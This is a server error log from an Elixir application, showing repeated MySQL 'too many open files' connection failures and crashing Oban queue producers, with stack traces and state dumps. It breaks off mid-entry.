State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:35:48.239863Z], limit: 5, uuid: "0fc5951b-f0bb-46db-9734-b19d75079d46", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:48.239869Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.204412>, refresh_timer: #Reference<0.2525715032.1077673987.45992>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:03.244000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:06.714000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:08.611000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:11.948000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:12.445000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:12.715000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:12.795000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:36:00.237837Z], limit: 50, uuid: "6655fe16-2830-45bd-971f-1b9713247933", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:00.237847Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.66587>, refresh_timer: #Reference<0.2525715032.1068498948.66571>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:13.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:36:00.239203Z], limit: 10, uuid: "89675002-5211-4046-85f7-d6b054b0d1dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:00.239209Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.204827>, refresh_timer: #Reference<0.2525715032.1099431938.64229>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:36:00.239248Z], limit: 3, uuid: "7c7baeef-ad0a-469a-9803-415237f8a626", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:00.239253Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.204830>, refresh_timer: #Reference<0.2525715032.1068498948.66586>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:13.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:36:00.239163Z], limit: 5, uuid: "25b154a0-94a0-4c74-a35b-6b6fbe203b4e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:00.239168Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.204828>, refresh_timer: #Reference<0.2525715032.1099431938.64225>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:36:00.239246Z], limit: 5, uuid: "f6300983-c556-484f-9192-4d743b565f0f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:00.239251Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.204829>, refresh_timer: #Reference<0.2525715032.1099431938.64230>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:13.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:36:00.238983Z], limit: 20, uuid: "1164ca85-41ae-4cce-98f4-7fcd37a552ff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:00.238989Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.204826>, refresh_timer: #Reference<0.2525715032.1099431938.64217>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:13.267000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:16.478000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:19.483000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:21.555000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:23.517000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:23.575000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1125.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sun Sep  6 00:36:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:36:13.239532Z], limit: 50, uuid: "b655d1ca-797d-45de-b41a-d0349b8b9ddb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:13.239538Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.205314>, refresh_timer: #Reference<0.2525715032.1077673987.46267>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:36:13.240018Z], limit: 10, uuid: "7dc58cac-2d86-4936-9aff-3a381fdca2e3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 